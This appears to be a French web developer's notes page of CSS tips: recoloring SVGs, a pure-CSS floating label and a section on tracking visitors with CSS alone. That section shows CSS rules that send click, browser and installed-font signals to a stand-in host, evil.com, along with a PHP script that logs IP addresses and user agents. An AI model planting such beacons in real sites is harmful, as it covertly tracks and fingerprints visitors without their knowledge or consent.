Changer la couleur d'un SVG, astuces.

• le svg inline ou le SVG symbol + la propriété css fill: facile mais lourd puisque l'image est rechargée avec la page à chaque fois au lieu d'être mise en cache.
• deux background SVG différents (un de chaque couleur): oui, merci mon con, on y aurait pensé tout seul... c'est pas tellement une astuce et ça multiplie par deux le nombre d'icônes. SU-PER.
• un background SVG (ou SVG object) + un filter : pas bête... le plus dur étant de trouver la couleur que l'on souhaite à base de filters.
• utiliser un masque de la couleur de fond du site (et donc l'icône en transparent dedans) puis définir la couleur de fond de l'image: oui, mais ça déplace le problème sur la couleur de fond.
• Un SVG background sous forme de data:image/svg+xml dans le fichier CSS: retour à la méthode 1 mais en écartant le souci de chargement, puisque le fichier css sera mis en cache. Bon, il risque de peser sa tonne au premier chargement, mais bon...

C'est con que les fontes d'icônes soient un problème pour l'accessibilité, parce que ça reste quand même la solution la plus propre et optimisée, je trouve.

Classe ! Du masonry en full css.
Golp glop.

Holy Fuck...
C'est pas con du tout: pister les clicks des visiteurs via css:

 #link:active::after {

    content: url("https://evil.com/track?action=link_clicked");

}

Et hop, côté serveur, tu récupères tout bien comme tu veux.

session_start();



// Prints the time that the script ran

print("Timestamp: " . time());



// Prints the action specified by the action parameter (in this case, "link_clicked")

print("Action: " . $_REQUEST['action']);



// Prints the user's IP address

print("IP Address: " . $_SERVER['REMOTE_ADDR']);



// Prints the user's browser agent

print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);

?>

Et c'est pas tout !

On peut détecter le navigateur:

 @supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){

    #chrome_detect::after {

        content: url("https://evil.com/track?action=browser_chrome");

    }

}

ou même l'OS:

// stylesheet.css

@font-face {

    font-family: Font1;

    src: url("https://evil.com/track?action=font1");

}



#font_detection {

    font-family: Calibri, Font1;

}



<!-- page.html -->

<div id="font_detection">test</div>

Un floating label en pur css ! \o/ Merci Timo !

<label>

    <input type="text" id="name" placeholder=" ">

    <span>Name</span>

</label>

<label>

    <input type="password" id="password" placeholder=" ">

    <span>Password</span>

</label>

 label {

  position: relative;

}



input {

    padding: 10px;

    border: 1px silver solid;

}

span {

  position: absolute;

  transition: all 200ms;

  opacity: 0.5;

  left: 0px;

  padding: 10px;

  transform-origin: top left;

}



input:not(:placeholder-shown) + span {

  transform: translateY(-100%) scale(.75);

  opacity: 1;

  padding: 0 10px;

}

Un bookmarklet pour recharger les css de la page. Signé Lea Verou, donc, bon